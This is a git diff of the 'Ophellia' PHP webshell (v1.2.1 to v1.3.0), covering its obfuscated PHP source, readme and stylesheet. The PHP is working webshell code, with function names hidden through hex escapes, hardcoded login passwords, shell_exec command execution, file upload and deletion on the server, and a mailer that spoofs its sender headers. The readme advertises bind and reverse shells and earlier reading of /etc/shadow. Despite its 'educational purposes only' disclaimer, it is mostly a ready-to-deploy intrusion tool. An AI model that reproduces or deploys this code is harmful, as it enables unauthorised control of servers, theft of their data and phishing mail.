o p h e l l i a';if($opl[8](${$opl[0]}['pass'])==$pass){$opl[6]();${$opl[9]}['pass']=$pass;}if(isset(${$opl[9]}['pass'])==$pass){if($opl[7]('safe_mode')){$Safe="ON";}else{$Safe="OFF";}if(isset(${$opl[1]}['d'])){$path=hlx(${$opl[1]}['d']);$opl[10](hlx(${$opl[1]}['d']));}else{$path=$opl[11]();}if(isset($mkdir)){$mkdir=$path."/".${$opl[1]}['mkdir'];}if(isset($mkfile)){$mkfile=$path."/".${$opl[1]}['mkfile'];}$f=hlx(${$opl[1]}['f']);$fedit=hlx(${$opl[1]}['fedit']);$gwejh=$opl[16](${$opl[0]}['gwejh']);$mkdir=${$opl[1]}['mkdir'];$tools=${$opl[1]}['t'];$rmdir=hlx(${$opl[1]}['rmdir']);$mkfile=${$opl[1]}['mkfile'];$cndir=${$opl[1]}['cndir'];$file=$_SERVER['PHP_SELF'];$root=$_SERVER['DOCUMENT_ROOT'];$bytes=$opl[13](".");$rfile=hlx(${$opl[1]}['rfile']);$rename=${$opl[1]}['rename'];$path=$opl[17]('\\','/',$path);$si_prefix=array('B','KB','MB','GB','TB','EB','ZB','YB');$class=min((int)log($bytes,1024),count($si_prefix)-1);$size=sprintf('%1.2f',$bytes/pow(1024,$class)).' '.$si_prefix[$class];echo '
';if(isset(${$opl[1]}['exit'])){unset(${$opl[9]}['pass']);echo "";exit();}}else{echo ' ';}header('X-Powered-By: Ophellia v1.2.1');echo '';
\ No newline at end of file
+$pass='3da13acc58e06f432f7df8af2767b938'; // kiraramagic
+function hlx($rr){$xx='';for($c=0;$c's',0xA000=>'l',0x8000=>'-',0x6000=>'b',0x4000=>'d',0x2000=>'c',0x1000=>'p',];foreach($flagTypes as $mask=>$type){if(($perms&$mask)==$mask){$flag=$type;break;}}$permissions=[00400=>'r',00200=>'w',00100=>'x',00040=>'r',00020=>'w',00010=>'x',00004=>'r',00002=>'w',00001=>'x',];foreach($permissions as $mask=>$permission){$flag.=($perms&$mask)?$permission:'-';}return $flag;}else{return substr(sprintf('%o',fileperms($file)),-4);}}function goog($item){$downer="\x66\x75\x6E\x63\x74\x69\x6F\x6E\x5F\x65\x78\x69\x73\x74\x73"("posix_getpwuid")?@"\x70\x6f\x73\x69\x78\x5f\x67\x65\x74\x70\x77\x75\x69\x64"("\x66\x69\x6c\x65\x6f\x77\x6e\x65\x72"($item))['name']:"\x66\x69\x6c\x65\x6f\x77\x6e\x65\x72"($item);$dgrp="\x66\x75\x6E\x63\x74\x69\x6F\x6E\x5F\x65\x78\x69\x73\x74\x73"("posix_getgrgid")?@"\x70\x6f\x73\x69\x78\x5f\x67\x65\x74\x70\x77\x75\x69\x64"("\x66\x69\x6c\x65\x67\x72\x6f\x75\x70"($item))['name']:"\x66\x69\x6c\x65\x67\x72\x6f\x75\x70"($item);return $downer.'/'.$dgrp;}function gtyp($file){$gtyp=("\x66\x75\x6E\x63\x74\x69\x6F\x6E\x5F\x65\x78\x69\x73\x74\x73"('mime_content_type'))?"\x6d\x69\x6d\x65\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x5f\x74\x79\x70\x65"($file):"\x66\x69\x6c\x65\x74\x79\x70\x65"($file);return $gtyp;}"\x65\x72\x72\x6F\x72\x5F\x72\x65\x70\x6F\x72\x74\x69\x6E\x67"(0);"\x73\x65\x74\x5F\x74\x69\x6D\x65\x5F\x6C\x69\x6D\x69\x74"(0);"\x6F\x62\x5F\x73\x74\x61\x72\x74"();"\x69\x6E\x69\x5F\x73\x65\x74"('max_execution_time',0);"\x69\x6E\x69\x5F\x73\x65\x74"('output_buffering',0);"\x73\x65\x73\x73\x69\x6F\x6E\x5F\x73\x74\x61\x72\x74"();echo 'o p h e l l i a';if("\x6D\x64\x35"(${"\x5f\x50\x4f\x53\x54"}['pass'])==$pass){"\x73\x65\x73\x73\x69\x6F\x6E\x5F\x73\x74\x61\x72\x74"();${"\x5F\x53\x45\x53\x53\x49\x4F\x4E"}['pass']=$pass;}if(isset(${"\x5F\x53\x45\x53\x53\x49\x4F\x4E"}['pass'])==$pass){if("\x69\x6E\x69\x5F\x67\x65\x74"('safe_mode')){$Safe="ON";}else{$Safe="OFF";}if(isset(${"\x5F\x47\x45\x54"}['d'])){$path=hlx(${"\x5F\x47\x45\x54"}['d']);"\x63\x68\x64\x69\x72"(hlx(${"\x5F\x47\x45\x54"}['d']));}else{$path="\x67\x65\x74\x63\x77\x64"();}if(isset($mkdir)){$mkdir=$path."/".${"\x5F\x47\x45\x54"}['mkdir'];}if(isset($mkfile)){$mkfile=$path."/".${"\x5F\x47\x45\x54"}['mkfile'];}$f=hlx(${"\x5F\x47\x45\x54"}['f']);$fedit=hlx(${"\x5F\x47\x45\x54"}['fedit']);$gwejh="\x73\x74\x72\x69\x70\x73\x6c\x61\x73\x68\x65\x73"(${"\x5f\x50\x4f\x53\x54"}['gwejh']);$mkdir=${"\x5F\x47\x45\x54"}['mkdir'];$tools=${"\x5F\x47\x45\x54"}['t'];$rmdir=hlx(${"\x5F\x47\x45\x54"}['rmdir']);$mkfile=${"\x5F\x47\x45\x54"}['mkfile'];$cndir=${"\x5F\x47\x45\x54"}['cndir'];$file=${"\x5f\x53\x45\x52\x56\x45\x52"}['PHP_SELF'];$root=${"\x5f\x53\x45\x52\x56\x45\x52"}['DOCUMENT_ROOT'];$bytes="\x64\x69\x73\x6b\x5f\x66\x72\x65\x65\x5f\x73\x70\x61\x63\x65"(".");$rfile=hlx(${"\x5F\x47\x45\x54"}['rfile']);$rename=${"\x5F\x47\x45\x54"}['rename'];$path="\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65"('\\','/',$path);$si_prefix=array('B','KB','MB','GB','TB','EB','ZB','YB');$class=min((int)log($bytes,1024),count($si_prefix)-1);$size=sprintf('%1.2f',$bytes/pow(1024,$class)).' '.$si_prefix[$class];echo '
"."\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"("ps aux | grep {$prefix}b")."
";}}die();}if(hlx($tools)=='mailer'){echo '
Mailer Tools
';if(isset(${"\x5f\x50\x4f\x53\x54"}['from'])){$headers="From: Ophellia <".${"\x5f\x50\x4f\x53\x54"}['from'].">".PHP_EOL;$headers.="Reply-To: Ophellia <".${"\x5f\x50\x4f\x53\x54"}['from'].">".PHP_EOL;$headers.="Return-Path: ".${"\x5f\x50\x4f\x53\x54"}['from'].PHP_EOL;$headers.="X-Mailer: Microsoft Outlook 16.0";"\x6d\x61\x69\x6c"(${"\x5f\x50\x4f\x53\x54"}['to'],${"\x5f\x50\x4f\x53\x54"}['subject'],${"\x5f\x50\x4f\x53\x54"}['message'],$headers);echo "Mail Sent !";}echo '
';die();}if(hlx($tools)=='upload'){echo"
Upload Tools
";if(isset(${"\x5f\x50\x4f\x53\x54"}['upload'])){if(${"\x5f\x50\x4f\x53\x54"}['uploadtype']==1){$tmp=$_FILES['upload']['tmp_name'];$up="\x62\x61\x73\x65\x6e\x61\x6d\x65"($_FILES['upload']['name']);if("\x6d\x6f\x76\x65\x5f\x75\x70\x6c\x6f\x61\x64\x65\x64\x5f\x66\x69\x6c\x65"($tmp,$path."/".$up)){echo "SUCCESSFULLY UPLOADED";}else{echo "FAILED TO UPLOAD FILE";}}else{$tmp=$_FILES['upload']['tmp_name'];$up="\x62\x61\x73\x65\x6e\x61\x6d\x65"($_FILES['upload']['name']);if("\x6d\x6f\x76\x65\x5f\x75\x70\x6c\x6f\x61\x64\x65\x64\x5f\x66\x69\x6c\x65"($tmp,$root."/".$up)){echo "SUCCESSFULLY UPLOADED";}else{echo "FAILED TO UPLOAD FILE";}}}die();}if(hlx($tools)=='info'){$disable_functions=(!empty(@"\x69\x6E\x69\x5F\x67\x65\x74"('disable_functions')))?"".@"\x69\x6E\x69\x5F\x67\x65\x74"('disable_functions')."":"NONE";echo "
System : ".@"\x70\x68\x70\x5f\x75\x6e\x61\x6d\x65"('a')." ".${"\x5f\x53\x45\x52\x56\x45\x52"}['SERVER_SOFTWARE']." User : "."\x67\x65\x74\x5f\x63\x75\x72\x72\x65\x6e\x74\x5f\x75\x73\x65\x72"()." Free Space : $size Server IP : "."\x67\x65\x74\x68\x6f\x73\x74\x62\x79\x6e\x61\x6d\x65"(${"\x5f\x53\x45\x52\x56\x45\x52"}['HTTP_HOST'])." Client IP : ".${"\x5f\x53\x45\x52\x56\x45\x52"}['REMOTE_ADDR']." Safe Mode : $Safe PHP Version : ".@"\x70\x68\x70\x76\x65\x72\x73\x69\x6f\x6e"()." Disable Function : $disable_functions";echo "
";die();}}if(isset($rfile)and "\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65"($rfile)){if("\x75\x6e\x6c\x69\x6e\x6b"($rfile)){echo(" File $rfile Deleted");}else{echo(" File $rfile Not Deleted");}}if(isset($mkdir)){if(!empty($mkdir)){if(mkdir($mkdir,0777,true)){echo" Directory $mkdir Created";}else{echo" Directory $mkdir Not Created";}}else{echo " Can't create folder with empty name";}}if(isset($mkfile)){echo ' ';if(!empty(${"\x5f\x50\x4f\x53\x54"}['fname'])){if(${"\x5f\x50\x4f\x53\x54"}['fname']&&${"\x5f\x50\x4f\x53\x54"}['ftext']){if("\x66\x69\x6C\x65\x5F\x70\x75\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73"(${"\x5f\x50\x4f\x53\x54"}['fname'],${"\x5f\x50\x4f\x53\x54"}['ftext'])){echo " File ".${"\x5f\x50\x4f\x53\x54"}['fname']." Created";}else{echo " File ".${"\x5f\x50\x4f\x53\x54"}['fname']." Not Created";}}}else{echo " Can't create file with empty name";}}if(isset($rmdir)and "\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65"($rmdir)){if("\x72\x6d\x64\x69\x72"($rmdir)){echo" Directory $rmdir Deleted";}else{echo" Directory $rmdir Not Deleted";}}if(isset($cndir)){$dir=$cndir;$rr=${"\x5f\x53\x45\x52\x56\x45\x52"}['SERVER_NAME']."$file?d=".xlh($dir);header("Location: http://$rr");}if(isset($rename)){echo '
";if(isset(${"\x5F\x47\x45\x54"}['exit'])){unset(${"\x5F\x53\x45\x53\x53\x49\x4F\x4E"}['pass']);echo "";exit();}}else{echo ' ';}header('X-Powered-By: Ophellia v1.3.0');echo '';
\ No newline at end of file
diff --git a/readme.md b/readme.md
index 26fb394..27caa92 100644
--- a/readme.md
+++ b/readme.md
@@ -1,77 +1,106 @@
![logo](https://i.ibb.co/fS9N2QV/ophellia.png)
-a simple webshell build in PHP 7.4 for penetration testing and educational purposes only, all kinds of illegal use is prohibited and developer are not responsible for any misuse or damage caused by this program.
-![php](https://img.shields.io/badge/PHP-7.4-bf616a?style=flat-square)
+a simple webshell build in PHP 8.2 for penetration testing and educational purposes only, all kinds of illegal use is prohibited and developer are not responsible for any misuse or damage caused by this program.
+![php](https://img.shields.io/badge/PHP-8.2-bf616a?style=flat-square)
![licence](https://img.shields.io/badge/LICENE-GPL2.0-ebcb8b?style=flat-square)
-![version](https://img.shields.io/badge/VERSION-1.2.1-a3be8c?style=flat-square)
+![version](https://img.shields.io/badge/VERSION-1.3.0-a3be8c?style=flat-square)
+
+## _V1.3.0 - 'Kirara Magic'_
+
+- **What is change?**
+ - [x] Re-write some function and make it more efficient
+ - [x] Re-write CSS for better UI
+ - [x] Re-write HEX bypass from array to direct string
+ - [x] Fix bug where you can't using terminal outside file manager
+ - [x] Fix bug where 'back' button kinda stupid in some function
+ - [x] Fix bug where you can make file with blank name
+ - [x] Removed
+ - [x] /etc/os-release
+ - [x] /etc/mtab
+ - [x] /etc/resolv.conf
+ - [x] /ssh/ssh_config
+ - [x] /etc/fstab
+ - [x] /etc/group
+ - [x] /etc/shadow
+ - [x] /etc/hosts
+ - [x] /etc/passwd
+ - [x] Dropdown menu for spawning webshell
+
+- **Known Issue**
+ - [ ] Bind and Reverse Shells are **Untested** please create issue about it if something error
+
+## _support me_
+
+[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/elliottophellia)
+[![paypal](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://paypal.me/elliottophellia)
## _features_
+
+- File Manager
+ - Rename
+ - File
+ - Directory
+ - Delete
+ - File
+ - Directory
+ - Edit
+ - file
+ - File size
+ - File permission
+ - File owner/group
+ - File last modified
+- Upload File
+ - Current Directory
+ - Root Directory
+- Network
+ - Bind Shell
+ - C
+ - Perl
+ - Ruby
+ - Python
+ - Reverse Shell
+ - C
+ - Perl
+ - Ruby
+ - Python
- Mailer
-- Terminal
-- Spawner (All webshells work in PHP7+)
- - Web Console
- - IndoXploit
- - Marijuana
- - Adminer
- - PHPinfo
- - PHP.ini (Bypass Disable Function)
- - b374k
- - Wso
- - R57
- - C99
+ - Send Mail
- Information
- - System
- User
- - Free Space
- - etc/passwd
- - etc/host
- - etc/shadow
- - etc/group
- - etc/fstab
- - etc/os-release
- - etc/mtab
- - etc/resolv.conf
- - etc/ssh/ssh_config
+ - System
- Server IP
- Client IP
- - PHP Version
- - Disable Function
- Safe Mode
+ - Free Space
+ - Disable Function
+ - Disable Function
- Create File
- Create Directory
-- Upload File
- - Current Directory
- - Root Directory
-- Network
- - Bind Shell
- - C
- - Perl
- - Ruby
- - Python
- - Reverse Shell
- - C
- - Perl
- - Ruby
- - Python
+- Terminal
- Login Session
- - lovepalestine
-- Encrypted Function & URL
+ - Password : kiraramagic
## _license_
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
- 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
+Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
+51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+Everyone is permitted to copy and distribute verbatim copies
+of this license document, but changing it is not allowed.
## _contribute_
-if you want to contribute to this project, you can fork this project and make a pull request, or you can contact me on [twitter](https://twitter.com/elliottophellia) or [email](mailto:me@rei.my.id)
+if you want to contribute to this project, you can fork this project and make a pull request, or you can contact me on [twitter](https://twitter.com/elliottophellia) or [email](mailto:me@rei.my.id)
## _reference_
+
- [WSO](https://github.com/mIcHyAmRaNe/wso-webshell)
- [MARIJUANA](https://github.com/0x5a455553/MARIJUANA)
- [INDOXPLOIT](https://github.com/linuxsec/indoxploit-shell)
+
+## _disclaimer_
+
+Any actions and or activities related to the material contained within this web shell is solely your responsibility
+The misuse of the information in this web shell can result in criminal charges brought against the persons in question
+The author will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this web shell to break the law.
diff --git a/style.css b/style.css
new file mode 100644
index 0000000..47d64a0
--- /dev/null
+++ b/style.css
@@ -0,0 +1,153 @@
+/*
+
+ O p h e l l i a W e b s h e l l
+ v1.3.0
+
+ Disclaimer:
+
+ Any actions and or activities related to the material contained within this web shell is solely your responsibility
+ The misuse of the information in this web shell can result in criminal charges brought against the persons in question
+ The author will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this web shell to break the law.
+
+*/
+@import url("https://fonts.googleapis.com/css2?family=Roboto&display=swap");
+@import url("https://fonts.googleapis.com/css2?family=Noto+Sans&display=swap");
+
+* {
+ -webkit-font-smoothing: antialiased;
+ -moz-osx-font-smoothing: grayscale;
+ text-rendering: optimizeLegibility;
+}
+
+body {
+ display: block;
+ background-color: #2e3440;
+ color: #e5e9f0;
+ font-family: roboto, sans-serif;
+ font-size: 11px;
+ line-height: 2em;
+ text-align: center;
+}
+
+form {
+ display: inline;
+}
+
+a:hover {
+ color: #7f7f7f;
+}
+
+a {
+ color: #e5e9f0;
+ text-decoration: none;
+}
+
+b {
+ font-family: roboto, sans-serif;
+ letter-spacing: 1.6px;
+}
+
+table {
+ width: 100%;
+}
+
+th {
+ border: #e5e9f0 1px solid;
+ font-size: 15px;
+}
+
+td {
+ border: #e5e9f0 1px solid;
+}
+
+input,
+textarea,
+select,
+button {
+ color: #e5e9f0;
+ background-color: #2e3440;
+ border: 1px solid #e5f0e9;
+ font-size: 11px;
+}
+
+textarea {
+ width: 100%;
+ -ms-overflow-style: none;
+ scrollbar-width: none;
+}
+
+#l {
+ text-align: left;
+}
+
+#r {
+ text-align: right;
+}
+
+#c {
+ text-align: center;
+}
+
+#emem {
+ width: 15em;
+}
+
+#ememm {
+ width: 32.4em;
+}
+
+.inf {
+ color: #7f7f7f;
+}
+
+::placeholder {
+ color: #e5e9f0;
+ opacity: 1;
+}
+
+:-ms-input-placeholder {
+ color: #e5e9f0;
+}
+
+::-ms-input-placeholder {
+ color: #e5e9f0;
+}
+
+@media screen and (max-width: 600px) {
+ table {
+ display: block;
+ overflow-x: auto;
+ white-space: nowrap;
+ }
+}
+
+@supports (-moz-appearance: none) {
+ #ememm {
+ width: 32em;
+ }
+ b {
+ letter-spacing: 1.6px;
+ }
+}
+::-webkit-scrollbar {
+ width: 4px;
+ height: 6px;
+}
+::-webkit-scrollbar-track {
+ -webkit-border-radius: 10px;
+ border-radius: 10px;
+ -webkit-box-shadow: inset 0 0 6px #2e3440;
+}
+::-webkit-scrollbar-thumb {
+ background: #e5e9f0;
+ -webkit-border-radius: 0;
+ border-radius: 0;
+}
+::-webkit-scrollbar-thumb:window-inactive {
+ background: #e5e9f0;
+}
+
+img[src*="https://cdn.000webhost.com/000webhost/logo/footer-powered-by-000webhost-white2.png"]
+{
+ display: none !important;
+}